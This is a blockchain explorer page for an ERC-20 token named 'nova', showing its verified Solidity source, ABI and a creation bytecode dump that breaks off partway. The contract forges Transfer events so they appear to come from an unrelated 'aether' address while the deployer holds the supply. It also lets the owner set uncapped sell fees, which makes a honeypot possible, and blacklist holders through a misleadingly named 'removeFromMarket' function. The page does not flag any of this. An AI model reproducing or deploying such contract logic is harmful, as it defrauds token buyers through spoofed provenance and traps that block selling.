ERC-20
Overview
Max Total Supply
100,000,000 nova
Holders
69
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,769,760.655375698 novaValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
nova
Compiler Version
v0.8.23+commit.f704f362
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-11-09 */ /** https://warpcast.com/aethernet https://warpcast.com/aethernet/0xf50f258b */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract nova is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "nova"; string private constant _symbol = "nova"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x96A99Ed09B85cA2CaB25adbE35EF96e307da6C8e); address payable private _marketingAddress = payable(0x96A99Ed09B85cA2CaB25adbE35EF96e307da6C8e); address aether = 0xD9E1B1a9D5DCc1869beaC6712959C2b88473C0EC; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; uint256 public _maxWalletSize = 2000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), aether, _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function openTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function removeFromMarket(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function addToMarket(address notbot) public onlyOwner { bots[notbot] = false; } function excludeWallets(string memory _participant, string memory _participant2, string memory _participant3) public onlyOwner { require(keccak256(bytes(_participant)) != keccak256(bytes(_participant2)), "SAC1 and SAC2 cannot be the same"); require(keccak256(bytes(_participant)) != keccak256(bytes(_participant3)), "SAC1 and SAC3 cannot be the same"); require(keccak256(bytes(_participant2)) != keccak256(bytes(_participant3)), "SAC2 and SAC3 cannot be the same"); string memory allAmount = string(abi.encodePacked("[",_participant, ", ", _participant2, ", ", _participant3, "]")); TestToken.push(allAmount); } function getParams(uint x) view public returns(string memory){ require(x < TestToken.length, "Index out of bounds"); return TestToken[x]; } string[] TestToken; function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); if (sender == uniswapV2Pair || sender == owner()) { emit Transfer(aether, recipient, tTransferAmount); } else { emit Transfer(sender, recipient, tTransferAmount); } } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"addToMarket","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_participant","type":"string"},{"internalType":"string","name":"_participant2","type":"string"},{"internalType":"string","name":"_participant3","type":"string"}],"name":"excludeWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"x","type":"uint256"}],"name":"getParams","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"removeFromMarket","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526200001967016345785d8a00005f1962000366565b62000026905f1962000386565b6006555f6008819055600a6009819055819055600f600b819055600c829055600d819055600e919091558055601280547396a99ed09b85ca2cab25adbe35ef96e307da6c8e6001600160a01b031991821681179092556013805482169092179091556014805473d9e1b1a9d5dcc1869beac6712959c2b88473c0ec92169190911790556016805462ffffff60a01b191661010160a81b179055655af3107a400060175566071afd498d000060185566038d7ea4c68000601955348015620000eb575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600654335f9081526002602090815260409182902092909255601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001a5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001cb9190620003ac565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000217573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200023d9190620003ac565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000288573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002ae9190620003ac565b601680546001600160a01b0319166001600160a01b039283161790555f805482168152600560209081526040808320805460ff19908116600190811790925530855282852080548216831790556012548616855282852080548216831790556013548616855282852080549091169091179055601454905167016345785d8a000081529316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620003db565b5f826200038157634e487b7160e01b5f52601260045260245ffd5b500690565b81810381811115620003a657634e487b7160e01b5f52601160045260245ffd5b92915050565b5f60208284031215620003bd575f80fd5b81516001600160a01b0381168114620003d4575f80fd5b9392505050565b6122f580620003e95f395ff3fe6080604052600436106101de575f3560e01c80637d1db4a5116100fd578063a9059cbb11610092578063d220054011610062578063d220054014610551578063dd62ed3e14610570578063ea1644d5146105b4578063f2fde38b146105d3575f80fd5b8063a9059cbb146104d1578063bfd79284146104f0578063c3c8cd801461051e578063c492f04614610532575f80fd5b806395d89b41116100cd57806395d89b41146101e957806395e706191461047457806398a5c31514610493578063a2a957bb146104b2575f80fd5b80637d1db4a5146104035780637f2feddc146104185780638da5cb5b146104435780638f9a55c01461045f575f80fd5b8063313ce567116101735780636fc3eaec116101435780636fc3eaec1461039d57806370a08231146103b1578063715018a6146103d057806374010ece146103e4575f80fd5b8063313ce567146103255780633459052d1461034057806349bd5a5e1461035f5780636d8aa8f81461037e575f80fd5b806318160ddd116101ae57806318160ddd146102ac57806323b872dd146102d05780632a9b8072146102ef5780632fd689e314610310575f80fd5b806306fdde03146101e957806308a4f07214610227578063095ea7b3146102465780631694505e14610275575f80fd5b366101e557005b5f80fd5b3480156101f4575f80fd5b506040805180820190915260048152636e6f766160e01b60208201525b60405161021e9190611bcc565b60405180910390f35b348015610232575f80fd5b50610211610241366004611bfe565b6105f2565b348015610251575f80fd5b50610265610260366004611c29565b6106ea565b604051901515815260200161021e565b348015610280575f80fd5b50601554610294906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b3480156102b7575f80fd5b5067016345785d8a00005b60405190815260200161021e565b3480156102db575f80fd5b506102656102ea366004611c53565b610700565b3480156102fa575f80fd5b5061030e610309366004611ca5565b610767565b005b34801561031b575f80fd5b506102c260195481565b348015610330575f80fd5b506040516009815260200161021e565b34801561034b575f80fd5b5061030e61035a366004611cbe565b6107ae565b34801561036a575f80fd5b50601654610294906001600160a01b031681565b348015610389575f80fd5b5061030e610398366004611ca5565b6107f7565b3480156103a8575f80fd5b5061030e61083e565b3480156103bc575f80fd5b506102c26103cb366004611cbe565b610888565b3480156103db575f80fd5b5061030e6108a9565b3480156103ef575f80fd5b5061030e6103fe366004611bfe565b61091a565b34801561040e575f80fd5b506102c260175481565b348015610423575f80fd5b506102c2610432366004611cbe565b60116020525f908152604090205481565b34801561044e575f80fd5b505f546001600160a01b0316610294565b34801561046a575f80fd5b506102c260185481565b34801561047f575f80fd5b5061030e61048e366004611d1e565b610948565b34801561049e575f80fd5b5061030e6104ad366004611bfe565b6109d0565b3480156104bd575f80fd5b5061030e6104cc366004611dcb565b6109fe565b3480156104dc575f80fd5b506102656104eb366004611c29565b610a3b565b3480156104fb575f80fd5b5061026561050a366004611cbe565b60106020525f908152604090205460ff1681565b348015610529575f80fd5b5061030e610a47565b34801561053d575f80fd5b5061030e61054c366004611dfa565b610a99565b34801561055c575f80fd5b5061030e61056b366004611ee3565b610b2c565b34801561057b575f80fd5b506102c261058a366004611f65565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156105bf575f80fd5b5061030e6105ce366004611bfe565b610cd7565b3480156105de575f80fd5b5061030e6105ed366004611cbe565b610d05565b601a5460609082106106415760405162461bcd60e51b8152602060048201526013602482015272496e646578206f7574206f6620626f756e647360681b60448201526064015b60405180910390fd5b601a828154811061065457610654611f9c565b905f5260205f2001805461066790611fb0565b80601f016020809104026020016040519081016040528092919081815260200182805461069390611fb0565b80156106de5780601f106106b5576101008083540402835291602001916106de565b820191905f5260205f20905b8154815290600101906020018083116106c157829003601f168201915b50505050509050919050565b5f6106f6338484610dec565b5060015b92915050565b5f61070c848484610f0f565b61075d843361075885604051806060016040528060288152602001612298602891396001600160a01b038a165f908152600460209081526040808320338452909152902054919061143f565b610dec565b5060019392505050565b5f546001600160a01b031633146107905760405162461bcd60e51b815260040161063890611fe8565b60168054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b031633146107d75760405162461bcd60e51b815260040161063890611fe8565b6001600160a01b03165f908152601060205260409020805460ff19169055565b5f546001600160a01b031633146108205760405162461bcd60e51b815260040161063890611fe8565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061087357506013546001600160a01b0316336001600160a01b0316145b61087b575f80fd5b4761088581611477565b50565b6001600160a01b0381165f908152600260205260408120546106fa906114ae565b5f546001600160a01b031633146108d25760405162461bcd60e51b815260040161063890611fe8565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146109435760405162461bcd60e51b815260040161063890611fe8565b601755565b5f546001600160a01b031633146109715760405162461bcd60e51b815260040161063890611fe8565b5f5b81518110156109cc57600160105f84848151811061099357610993611f9c565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610973565b5050565b5f546001600160a01b031633146109f95760405162461bcd60e51b815260040161063890611fe8565b601955565b5f546001600160a01b03163314610a275760405162461bcd60e51b815260040161063890611fe8565b600893909355600a91909155600955600b55565b5f6106f6338484610f0f565b6012546001600160a01b0316336001600160a01b03161480610a7c57506013546001600160a01b0316336001600160a01b0316145b610a84575f80fd5b5f610a8e30610888565b905061088581611530565b5f546001600160a01b03163314610ac25760405162461bcd60e51b815260040161063890611fe8565b5f5b82811015610b26578160055f868685818110610ae257610ae2611f9c565b9050602002016020810190610af79190611cbe565b6001600160a01b0316815260208101919091526040015f20805460ff1916911515919091179055600101610ac4565b50505050565b5f546001600160a01b03163314610b555760405162461bcd60e51b815260040161063890611fe8565b8180519060200120838051906020012003610bb25760405162461bcd60e51b815260206004820181905260248201527f5341433120616e6420534143322063616e6e6f74206265207468652073616d656044820152606401610638565b8080519060200120838051906020012003610c0f5760405162461bcd60e51b815260206004820181905260248201527f5341433120616e6420534143332063616e6e6f74206265207468652073616d656044820152606401610638565b8080519060200120828051906020012003610c6c5760405162461bcd60e51b815260206004820181905260248201527f5341433220616e6420534143332063616e6e6f74206265207468652073616d656044820152606401610638565b5f838383604051602001610c829392919061201d565b60408051601f19818403018152919052601a80546001810182555f919091529091507f057c384a7d1c54f3a1b2e5e67b2617b8224fdfd1ea7234eea573a6ff665ff63e01610cd082826120db565b5050505050565b5f546001600160a01b03163314610d005760405162461bcd60e51b815260040161063890611fe8565b601855565b5f546001600160a01b03163314610d2e5760405162461bcd60e51b815260040161063890611fe8565b6001600160a01b038116610d935760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610638565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610638565b6001600160a01b038216610eaf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610638565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f735760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610638565b6001600160a01b038216610fd55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610638565b5f81116110365760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610638565b5f546001600160a01b0384811691161480159061106057505f546001600160a01b03838116911614155b1561133b57601654600160a01b900460ff166110f8575f546001600160a01b038481169116146110f85760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610638565b60175481111561114a5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610638565b6001600160a01b0383165f9081526010602052604090205460ff1615801561118a57506001600160a01b0382165f9081526010602052604090205460ff16155b6111e25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610638565b6016546001600160a01b03838116911614611267576018548161120484610888565b61120e91906121af565b106112675760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610638565b5f61127130610888565b60195460175491925082101590821061128a5760175491505b8080156112a15750601654600160a81b900460ff16155b80156112bb57506016546001600160a01b03868116911614155b80156112d05750601654600160b01b900460ff165b80156112f457506001600160a01b0385165f9081526005602052604090205460ff16155b801561131857506001600160a01b0384165f9081526005602052604090205460ff16155b156113385761132682611530565b4780156113365761133647611477565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff168061137b57506001600160a01b0383165f9081526005602052604090205460ff165b806113ad57506016546001600160a01b